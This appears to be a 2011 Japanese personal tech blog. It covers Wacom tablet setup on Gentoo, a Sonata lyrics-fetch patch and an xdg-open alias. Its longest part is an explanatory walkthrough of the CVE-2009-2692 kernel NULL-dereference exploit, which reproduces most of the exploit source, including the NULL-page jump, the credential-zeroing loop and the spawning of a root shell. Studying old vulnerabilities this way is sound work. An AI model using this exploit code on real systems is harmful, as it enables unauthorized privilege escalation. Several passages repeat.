自分の環境は、OSはGentoo Linux、1920x1200のモニタのデュアルディスプレイ(nVidiaのTwinView使用)
画像を作るときはGIMPかmypaintで作ってる。
このたび、Intuos 4を購入した。
まずカーネルのCONFIG_TABLET_USB_WACOM=yにする。
Device Drivers -> Input device support -> Generic input layer -> tabletsにある。
Say Y here if you want to use the USB version of the Wacom Intuos or Graphire tablet.とあるので
これでいいのだろう。USBとかEvent interfaceとかにもチェックしておく必要があるらしい。
次にX用のwacomのドライバをインストール
# emerge xf86-input-wacom
でインストールできる。楽チン。で、マシンを再起動する（カーネルも変えてるし。）
ワコム用のツールもダウンロードしておくといい。
# emerge xsetwacom
# emerge xinput
こうすればもう使えるようになってる。
だが、スクリーンが3840x1200扱いなのでIntuosの横がモニタ2枚ぶんにマッピングされてて
少々使いづらい。
お絵かきは左のきれいなモニターでやれればいいや、という事でIntuosの横幅を左のモニタにマッピングする
方法を探したら、xinputでできるらしい。
# emerge xinput
まず、
$ xinput list とすると現在つながってる入力デバイスの一覧が。Wacom Intuos4もちゃんと出てる。
Wacom Intuos4 6x9 stylus id=11 [slave pointer (2)]
Wacom Intuos4 6x9 eraser id=12 [slave pointer (2)]
Wacom Intuos4 6x9 cursor id=13 [slave pointer (2)]
Wacom Intuos4 6x9 pad id=14 [slave pointer (2)]
これをマッピングしたい。
http://sourceforge.net/apps/mediawiki/linuxwacom/index.php?title=Dual_and_Multi-Monitor_Set_Up
このリンクを参考にし、wacom-settings.shというファイルを作成。
#!/bin/sh
xinput set-prop "Wacom Intuos4 6x9 stylus" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
xinput set-prop "Wacom Intuos4 6x9 cursor" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
xinput set-prop "Wacom Intuos4 6x9 pad" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
xinput set-prop "Wacom Intuos4 6x9 eraser" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
これを実行すればタブレットと1枚目のモニタが対応していい感じになった。
あとは絵の書き方を学ぶだけかな。。。。
2011/12/31
2011/07/07
sonata 1.6.2.1のlyrics fetch bug
自分は音楽再生にmpdとクライアントのsonataを使っていた。quodlibetも使うことがあるがsonataはやっぱり使いやすい。
最近はアクティブに開発されてないみたいだけど。
sonataはLyricWiki (http://lyrics.wikia.com/)から歌詞をFetchしてくるのだが、ある時からそれがFailしまくっている事に気づいた。
歌詞が載っている曲でもFailするので、バグじゃないかという事でコードを見てみる。
まず、Wiresharkでパケットを見てみる。
Infoタブの(Search)っていう所を押すと、Artist NameとSong Titleを入力して、そこからFetchに行くっぽいが、どうもArtist NameとSong Titleを入力しても
それがGETリクエストに反映されてないっぽかった。
"http://lyricwiki.org/index.php?title=:&action=edit”
みたいになっちゃってる。本来なら、The ToastersとEast Side Beatで検索すると
"http://lyricwiki.org/index.php?title=The%20Toasters:East%20Side%20Beat&action=edit"
ってなるべきだと思われる。
sonata-1.6.2.1をダウンロードしてみると、info.pyのget_lyrics_thread()にこれを行う部分が。
ここに渡されるsearch_artistとsearch_titleがおかしいのか。という事で呼び出し元をみるとmain.pyのon_lyrics_search()が。
ここのdialog.destroy()のタイミングがおかしかった。dialog.destroy()をしてからartist_entry.get_text()を呼んでいる。順番は逆であるべきか。
ここを直したがまだ歌詞ガFetchできん…。
ちゃんとリクエストは送れてるっぽいしレスポンスも大丈夫そうだった。結果のparseがおかしいのか。
と思ってもう一度info.pyを見た。
get_lyrics_threadにあるparseを行う部分と返されるレスポンスを見てみると、
info.pyでは
lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
としているが、実際のレスポンスは
"<lyrics>" "</lyrics>"
となっている事に気づく。>でなく直接>が帰ってきていた。これはLyricWikiのバグ（仕様か？）と思われたがとりあえずparseできるようにsplitの中を改変。
試してみると歌詞のFetch成功。やったわ。
パッチは以下のようになった。
The Toasters - East Side Beat
http://www.youtube.com/watch?v=bLqCpPpB4rI
いつ聞いてもいいですね。
最近はアクティブに開発されてないみたいだけど。
sonataはLyricWiki (http://lyrics.wikia.com/)から歌詞をFetchしてくるのだが、ある時からそれがFailしまくっている事に気づいた。
歌詞が載っている曲でもFailするので、バグじゃないかという事でコードを見てみる。
まず、Wiresharkでパケットを見てみる。
Infoタブの(Search)っていう所を押すと、Artist NameとSong Titleを入力して、そこからFetchに行くっぽいが、どうもArtist NameとSong Titleを入力しても
それがGETリクエストに反映されてないっぽかった。
"http://lyricwiki.org/index.php?title=:&action=edit”
みたいになっちゃってる。本来なら、The ToastersとEast Side Beatで検索すると
"http://lyricwiki.org/index.php?title=The%20Toasters:East%20Side%20Beat&action=edit"
ってなるべきだと思われる。
sonata-1.6.2.1をダウンロードしてみると、info.pyのget_lyrics_thread()にこれを行う部分が。
try:
lyricpage = urllib.urlopen("http://lyricwiki.org/index.php?title=%s:%s&action=edit" % (self.lyricwiki_format(search_artist), self.lyricwiki_format(search_title))).read()
content = re.split("]*>", lyricpage)[1].split("")[0]
if content.startswith("#REDIRECT [["):
addr = "http://lyricwiki.org/index.php?title=%s&action=edit" % urllib.quote(content.split("[[")[1].split("]]")[0])
content = urllib.urlopen(addr).read()
lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
if lyrics.strip() != "<!-- PUT LYRICS HERE (and delete this entire line) -->":
lyrics = misc.unescape_html(lyrics)
lyrics = misc.wiki_to_html(lyrics)
lyrics = lyrics.decode("utf-8")
# Save lyrics to file:
misc.create_dir('~/.lyrics/')
f = open(filename, 'w')
f.write(lyrics)
f.close()
else:
lyrics = _("Lyrics not found")
gobject.idle_add(self.info_show_lyrics, lyrics, filename_artist, filename_title) ここに渡されるsearch_artistとsearch_titleがおかしいのか。という事で呼び出し元をみるとmain.pyのon_lyrics_search()が。
ここのdialog.destroy()のタイミングがおかしかった。dialog.destroy()をしてからartist_entry.get_text()を呼んでいる。順番は逆であるべきか。
ここを直したがまだ歌詞ガFetchできん…。
ちゃんとリクエストは送れてるっぽいしレスポンスも大丈夫そうだった。結果のparseがおかしいのか。
と思ってもう一度info.pyを見た。
get_lyrics_threadにあるparseを行う部分と返されるレスポンスを見てみると、
info.pyでは
lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
としているが、実際のレスポンスは
"<lyrics>" "</lyrics>"
となっている事に気づく。>でなく直接>が帰ってきていた。これはLyricWikiのバグ（仕様か？）と思われたがとりあえずparseできるようにsplitの中を改変。
試してみると歌詞のFetch成功。やったわ。
パッチは以下のようになった。
diff -ur sonata-1.6.2.1/sonata/info.py sonata-1.6.2.1.fix/sonata/info.py
--- sonata-1.6.2.1/sonata/info.py 2009-09-22 06:02:16.000000000 +0900
+++ sonata-1.6.2.1.fix/sonata/info.py 2011-07-07 21:40:31.063073755 +0900
@@ -393,8 +393,8 @@
if content.startswith("#REDIRECT [["):
addr = "http://lyricwiki.org/index.php?title=%s&action=edit" % urllib.quote(content.split("[[")[1].split("]]")[0])
content = urllib.urlopen(addr).read()
- lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
- if lyrics.strip() != "<!-- PUT LYRICS HERE (and delete this entire line) -->":
+ lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
+ if lyrics.strip() != "<!-- PUT LYRICS HERE (and delete this entire line) -->":
lyrics = misc.unescape_html(lyrics)
lyrics = misc.wiki_to_html(lyrics)
lyrics = lyrics.decode("utf-8")
diff -ur sonata-1.6.2.1/sonata/main.py sonata-1.6.2.1.fix/sonata/main.py
--- sonata-1.6.2.1/sonata/main.py 2009-09-22 06:02:16.000000000 +0900
+++ sonata-1.6.2.1.fix/sonata/main.py 2011-07-07 21:40:00.149073735 +0900
@@ -2132,12 +2132,12 @@
ui.show(dialog.vbox)
response = dialog.run()
if response == gtk.RESPONSE_ACCEPT:
- dialog.destroy()
# Delete current lyrics:
filename = self.info.target_lyrics_filename(artist, title, None, consts.LYRICS_LOCATION_HOME)
misc.remove_file(filename)
# Search for new lyrics:
self.info.get_lyrics_start(artist_entry.get_text(), title_entry.get_text(), artist, title, os.path.dirname(mpdh.get(self.songinfo, 'file')))
+ dialog.destroy()
else:
dialog.destroy()The Toasters - East Side Beat
http://www.youtube.com/watch?v=bLqCpPpB4rI
いつ聞いてもいいですね。
いいの思いついたわ。
思いついてalias o='xdg-open'ってしてみた。これでどんな種類のファイルでもGUIでダブルクリックするみたいに
「開く」ができるわ。
自分の端末では/usr/bin/xdg-openにあったから見てみたらシェルスクリプトでした。
detectDEっていう関数で
みたいにしてDEをゲットして、例えばgnomeだったらopen_gnomeっていう関数でgvfs-openなりgnome-openなりを呼んでるのね。
なるほど。。
ほとんどターミナル上で作業するので便利。
「開く」ができるわ。
$ o hoge.jpg $ o hoge.pdf $ o hoge.aviみたいな。今のところ便利に使ってます。
自分の端末では/usr/bin/xdg-openにあったから見てみたらシェルスクリプトでした。
detectDEっていう関数で
detectDE()
{
if [ x"$KDE_FULL_SESSION" = x"true" ]; then DE=kde;
elif [ x"$GNOME_DESKTOP_SESSION_ID" != x"" ]; then DE=gnome;
elif `dbus-send --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager > /dev/null 2>&1` ; then DE=gnome;
elif xprop -root _DT_SAVE_MODE 2> /dev/null | grep ' = \"xfce4\"$' >/dev/null 2>&1; then DE=xfce;
elif [ x"$DESKTOP_SESSION" == x"LXDE" ]; then DE=lxde;
else DE=""
fi
}みたいにしてDEをゲットして、例えばgnomeだったらopen_gnomeっていう関数でgvfs-openなりgnome-openなりを呼んでるのね。
なるほど。。
ほとんどターミナル上で作業するので便利。
$ eog huga.pdfとかやってウザくなることが少なくなっていいわ。
2011/06/26
Androidでrootを取れるcve-2009-2692を見る（後半）
前回はアドレス0x00000000がどうやって実行されるのかを書いた。後半は何が実行されるのかを調べる。
もう一度exploitを見てみる。
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid); // 現在のプロセスのtask_structにuid,uid,uidの並びをセット。
setresgid(gid, gid, gid); //
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
perror("mprotect");
return -1;
}
}
*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。
if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
perror("mkstemp");
return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
unlink(template); //作ったファイルネームを削除。
ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}
task_structの領域にsetresuidでuid,uid,uidの並びをセットする。
その後run.cでセットしてたpersonalityをチェックし、
mmap & mprotectで0x00000000から0x1000バイトに0を書きこみREAD,WRITE,EXEC属性をつける。
もちろんrun.cでpersonalityをPER_SVR4にしておかないとこんな事はできない。
ここまできたら0x00000000に実行用のコードを埋めこんでここを実行させる(sock_sendpageさせる)のみ。
0x00000000にはnop(0x90)を、
0x00000001にはjmp (kernel code - 6のアドレス)と書きこむ。kernel codeのアドレスを0x12345678とすると
90 e9 12 34 56 72
となる。e9はrelative jumpなことに注意。つまり0x06からの距離。
ここでkernel_code関数に飛ぶ。
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) { // task_structの中をいじる。setresuidされて入ったuidとかgidとかをみつける--> そこを0に(root)
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
kernel_code関数はまずget_currentを呼びtask_structのアドレスを得る。
get_current関数を見てみると、
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;" // espの値をeaxにセット
"andl %1, %%eax ;" // eaxの13ビットをクリア
"movl (%%eax), %0" // (%eax)をr(どのレジスタでもよいという事)にセット -> つまりcurrになる。
: "=r" (curr)
: "i" (~8191) // 8101 = 0x1fff
);
return (void *) curr; // 現在のespを0xffffe000でマスクした物を返す。
}
プロセスはkernel中にthread_info構造体とカーネルスタックを持つ。これらは2つのページに連続してある。
thread_info構造体の第一要素はtask_struct（以下を参照）、1pageの大きさは0x1000 (4096)。
thread_infoは前半のほうなので（偶数番目） 0x2000にある。
/** arch/x86/include/asm/thread_info.h **/
struct thread_info {
struct task_struct *task; /* main task structure */
/* 略 */
};
つまりget_current関数でtask_structのcurrentを得るということ。
currentを得た後は、for (i = 0; i < 1024-13; i++) のループを始めるわけだが、このコードのしたい事は、
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
この部分でメモリ上でuid,uid,uid,uid,gid,gid,gid,gidと並んでいるところを捜して、そこを0にするという物。uid=0はrootを意味するから。
でも、task_structみてもそんな並びの部分ねえよ。。task_struct->real_cred内に権限情報があるからこんな方法でアクセスできないし。
と思ってlinux-2.6.22.3を見てみたらバッチリあった。
/** include/linux/sched.h (linux-2.6.22.3) **/
struct task_struct {
/* 略 */
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
}
直書き…
とにかくここが0,0,0,0,0,0,0,0になる。
つまり昔のコードではちゃんと狙い通り動くと。cve-2009-2692の脆弱性は2.6.30.4まで存在するが、このexploitは2.6.30.4では動かない。まあ実際試したわけじゃないが。
まあexploitの動作を理解するためだしいいか。
ちなみにこのuid,uid,uidっていう並びを捜すのは昔のexploitでは定番の手法だったらしい。なるほど…
あとはexploitの最後、exit_kernel関数。
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: // 出力レジスタはない。
: "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
これは適当な数字をスタックに積んで（その領域を使わせるようにして） iretする。
intする前のEIPはexit_codeのアドレスという事にしておく。するとシステムコールから帰った後はexit_codeのアドレスから実行を再開。することになる。
これでカーネルモードは終わり。ユーザモードに帰った後は、今きちんとrootかどうかを確認して、
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "failed\n");
exit(-1);
}
execl("/bin/sh", "sh", "-i", NULL); // -i はインタラクティブ
}
rootなら
"/bin/sh -i"を実行！！
これでroot shellゲット。exploit成功というわけだ。
もう一度exploitを見てみる。
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid); // 現在のプロセスのtask_structにuid,uid,uidの並びをセット。
setresgid(gid, gid, gid); //
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
perror("mprotect");
return -1;
}
}
*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。
if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
perror("mkstemp");
return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
unlink(template); //作ったファイルネームを削除。
ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}
task_structの領域にsetresuidでuid,uid,uidの並びをセットする。
その後run.cでセットしてたpersonalityをチェックし、
mmap & mprotectで0x00000000から0x1000バイトに0を書きこみREAD,WRITE,EXEC属性をつける。
もちろんrun.cでpersonalityをPER_SVR4にしておかないとこんな事はできない。
ここまできたら0x00000000に実行用のコードを埋めこんでここを実行させる(sock_sendpageさせる)のみ。
0x00000000にはnop(0x90)を、
0x00000001にはjmp (kernel code - 6のアドレス)と書きこむ。kernel codeのアドレスを0x12345678とすると
90 e9 12 34 56 72
となる。e9はrelative jumpなことに注意。つまり0x06からの距離。
ここでkernel_code関数に飛ぶ。
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) { // task_structの中をいじる。setresuidされて入ったuidとかgidとかをみつける--> そこを0に(root)
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
kernel_code関数はまずget_currentを呼びtask_structのアドレスを得る。
get_current関数を見てみると、
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;" // espの値をeaxにセット
"andl %1, %%eax ;" // eaxの13ビットをクリア
"movl (%%eax), %0" // (%eax)をr(どのレジスタでもよいという事)にセット -> つまりcurrになる。
: "=r" (curr)
: "i" (~8191) // 8101 = 0x1fff
);
return (void *) curr; // 現在のespを0xffffe000でマスクした物を返す。
}
プロセスはkernel中にthread_info構造体とカーネルスタックを持つ。これらは2つのページに連続してある。
thread_info構造体の第一要素はtask_struct（以下を参照）、1pageの大きさは0x1000 (4096)。
thread_infoは前半のほうなので（偶数番目） 0x2000にある。
/** arch/x86/include/asm/thread_info.h **/
struct thread_info {
struct task_struct *task; /* main task structure */
/* 略 */
};
つまりget_current関数でtask_structのcurrentを得るということ。
currentを得た後は、for (i = 0; i < 1024-13; i++) のループを始めるわけだが、このコードのしたい事は、
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
この部分でメモリ上でuid,uid,uid,uid,gid,gid,gid,gidと並んでいるところを捜して、そこを0にするという物。uid=0はrootを意味するから。
でも、task_structみてもそんな並びの部分ねえよ。。task_struct->real_cred内に権限情報があるからこんな方法でアクセスできないし。
と思ってlinux-2.6.22.3を見てみたらバッチリあった。
/** include/linux/sched.h (linux-2.6.22.3) **/
struct task_struct {
/* 略 */
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
}
直書き…
とにかくここが0,0,0,0,0,0,0,0になる。
つまり昔のコードではちゃんと狙い通り動くと。cve-2009-2692の脆弱性は2.6.30.4まで存在するが、このexploitは2.6.30.4では動かない。まあ実際試したわけじゃないが。
まあexploitの動作を理解するためだしいいか。
ちなみにこのuid,uid,uidっていう並びを捜すのは昔のexploitでは定番の手法だったらしい。なるほど…
あとはexploitの最後、exit_kernel関数。
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: // 出力レジスタはない。
: "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
これは適当な数字をスタックに積んで（その領域を使わせるようにして） iretする。
intする前のEIPはexit_codeのアドレスという事にしておく。するとシステムコールから帰った後はexit_codeのアドレスから実行を再開。することになる。
これでカーネルモードは終わり。ユーザモードに帰った後は、今きちんとrootかどうかを確認して、
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "failed\n");
exit(-1);
}
execl("/bin/sh", "sh", "-i", NULL); // -i はインタラクティブ
}
rootなら
"/bin/sh -i"を実行！！
これでroot shellゲット。exploit成功というわけだ。
2011/06/13
Androidでrootを取れるcve-2009-2692を見る（前半）
linux kernel 2.6.30.5以降はこの方法でrootを取ることはできなくなっているが、
HT-03AでAndroid 1.5からrootを取るのはこのBugを利用したExploitであったとのこと。
今さらだが気になったのでどんなBugだったのか調べてみた。
まず、今回のexploitのもととなるsock_sendpage()関数。ここの
sock->ops->sendpageがNULLになっている、というのが今回のバグのもと。
通常ならif(!sock->ops->sendpage)とかでチェックしてエラーするべき、という所か。
見てみるカーネルだが、カーネルは2.6.30.4を見た。2.6.30.5からこのBugに対する対策が取られている。
まず、問題となっているsock_sendpageを見てみる。
/** net/socket.c **/
static ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
}
今回はこのsendpageがNULLを参照している、という事を利用しNULLに実効させるコードを置いておく、という手法らしい。
ある種のsocketに対しsendpageさせる、というのが今回のrootへの道か。
さっそくcve 2009 2692 exploitとググって出てきたexploit
http://www.frasunek.com/proto_ops.tgz
を見てみることにした。
通常はこんなことはできないようになっているが。。exploitを見てみる。
ファイルは3つ。run.cとexploit.cがあり、run.shでrun.cを実効している。
run.cはこれだけ。
/** exploit/runc. **/
int main(void) {
if (personality(PER_SVR4) < 0) {
perror("personality");
return -1;
}
fprintf(stderr, "padlina z lublina!\n");
execl("./exploit", "exploit", 0);
}
personalityって何?という事でmanを見てみると、
Linux は、プロセス毎の異なる実行ドメイン、すなわち パーソナリティ (personality) をサポートしている。
実行ドメインは Linux にシグナル番号にどのシグナルを割り付けるかを 教えたりする。
また、実行ドメイン・システムにより、 Linux は他の Unix 風のオペレーティング・システムでコンパイルされた バイナリに対する限定的なサポートを提供している。
らしい。
つまりrun.cはexploitのパーソナリティをSVR4にすることが目的。
で、肝心のexploit.c。
まずはmainから。
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
perror("mprotect");
return -1;
}
}
*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。
if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
perror("mkstemp");
return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
unlink(template); //作ったファイルネームを削除。
ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}
空のファイルからPPPOEのソケットにsendfile。これが巡りに巡ってsock_sendpageを呼ぶのだろう。
その過程を見てみる。
まず、ユーザ空間でsendfile()すると、sys_sendfileが呼ばれ、そこからdo_sendfileが呼ばれる。
/** fs/read_write.c **/
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
size_t count, loff_t max)
{
/* 略 */
retval = do_splice_direct(in_file, ppos, out_file, count, fl);
/* 略 */
}
do_sendfileは、do_splice_directを呼ぶ。ここでファイルの内容の転送がおこる。
今回の場合はin_fileは場合mkstempしたファイル、out_fileがソケット(PF_PPPOX)となっている。
以前のカーネル(ほかに手持ちだったlinux-2.6.22.3)ではdo_splice_directでなく
do_sendfileはin_file->f_op->sendfile()を呼んでいた。
この関数は通常generic_file_sendfileを指していて、
そこから呼ばれていく関数内で、do_generic_file_read() -> do_generic_mapping_readと来て、
do_generic_mapping_readの中でret = actor(desc, page, offset, nr);
actorはfile_send_actorで、file_send_actorはdesc->arg.data->f_op->sendpageを呼ぶ。
desc->arg.data = out_fileであり、
out_file->f_op->sendpage()これは、sock_attach_fd内で
file->f_op = &socket_file_ops;となっており、
socket_file_opsのsendpageはsock_sendpageである。
という流れだった。
linux-2.6.30.4ではdo_splice_directを見ると、
/** fs/splice.c **/
long do_splice_direct(struct file *in, loff_t *ppos, struct file *out,
size_t len, unsigned int flags)
{
struct splice_desc sd = {
.len = len,
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out, /* out はここ。これがsocket。*/
};
long ret;
ret = splice_direct_to_actor(in, &sd, direct_splice_actor); /* (1) */
/* 略 */
return ret;
}
splice_direct_to_actorはpipeをゲットして、
ret = do_splice_to(in, &pos, pipe, len, flags);
で書きこみ、
ret = actor(pipe, sd);
とする。
actorは(1)で渡したdirect_splice_actorのことで、
/** fs/splice.c **/
static int direct_splice_actor(struct pipe_inode_info *pipe,
struct splice_desc *sd)
{
struct file *file = sd->u.file;
return do_splice_from(pipe, file, &sd->pos, sd->total_len, sd->flags);
}
とpipeからoutに書く。で、do_splice_fromは、
/** fs/splice.c **/
static long do_splice_from(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
/* 略 */
return out->f_op->splice_write(pipe, out, ppos, len, flags);
}
とout->f_op->splice_writeを呼ぶ。
これは、sock_attach_fd内でfile->f_op = &socket_file_ops;とされており、
.splice_write = generic_splice_sendpage;である。(net/socket.c)
つまりここでgeneric_splice_sendpageが呼ばれる。
generic_splice_sendpageは、
/** fs/splice.c **/
ssize_t generic_splice_sendpage(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
return splice_from_pipe(pipe, out, ppos, len, flags, pipe_to_sendpage); /*(2)*/
}
とsplice_from_pipeをpipe_to_sendpageを渡してコール。
splice_from_pipeはdo_splice_directと良く似ていて、
/** fs/splice.c **/
ssize_t splice_from_pipe(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags,
splice_actor *actor)
{
ssize_t ret;
struct splice_desc sd = {
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out,
};
pipe_lock(pipe);
ret = __splice_from_pipe(pipe, &sd, actor);
pipe_unlock(pipe);
return ret;
}
この__splice_from_pipeがactorを使ってpipeからsdにどんどん書きこんでいく処理をする関数。
/** fs/splice.c **/
ssize_t __splice_from_pipe(struct pipe_inode_info *pipe, struct splice_desc *sd,
splice_actor *actor)
{
int ret;
splice_from_pipe_begin(sd);
do {
ret = splice_from_pipe_next(pipe, sd);
if (ret > 0)
ret = splice_from_pipe_feed(pipe, sd, actor);
} while (ret > 0);
splice_from_pipe_end(pipe, sd);
return sd->num_spliced ? sd->num_spliced : ret;
}
このsplice_from_pipe_feed内で、
ret = actor(pipe, buf, sd);
とactor(現在は(2)のpipe_to_sendpage)を呼びだす。
このpipe_to_sendpageを見ると
/** fs/splice.c **/
static int pipe_to_sendpage(struct pipe_inode_info *pipe,
struct pipe_buffer *buf, struct splice_desc *sd)
{
struct file *file = sd->u.file; /*これは書きだす先のout、つまりsocket*/
loff_t pos = sd->pos;
int ret, more;
ret = buf->ops->confirm(pipe, buf);
if (!ret) {
more = (sd->flags & SPLICE_F_MORE) || sd->len < sd->total_len;
ret = file->f_op->sendpage(file, buf->page, buf->offset, /* これがsock_sendpage */
sd->len, &pos, more);
}
return ret;
}
このfileがsocketなのでfile->f_op->sendpageは
sock_attach_fd()内でfile->f_op = &socket_file_ops;とされており、
.sendpage = sock_sendpage;である。(net/socket.c)
つまりここでsock_sendpageが呼ばれる。
という流れになっている。長かった・・・。
sock_sendpageが呼ばれる流れは以上の通りだが、sock_sendpageの中で呼ばれる
sock->ops->sendpageはどのようにNULLになっているのだろうか。
まず、socket呼びだしを見てみる。
socketを呼ぶと、次のような流れで呼ばれる。
sys_socket -> sock_create -> __sock_create
/* asmlinkage long sys_socket(int family, int type, int protocol)になる*/
SYSCALL_DEFINE3(socket, int, family, int, type, int, protocol)
{
int retval;
struct socket *sock;
/* 略 */
retval = sock_create(family, type, protocol, &sock); /* sock_createはすぐに__sock_createを呼ぶ */
/* 略 */
retval = sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
/* sock_map_fd()からsock_attach_fd()が呼ばれ、file->private_data = sockとされる。 retvalはそのfileのfd。*/
/* 略 */
return retval; /* fdが返る */
}
/** net/socket.c **/
static int __sock_create(int family, int type, int protocol,
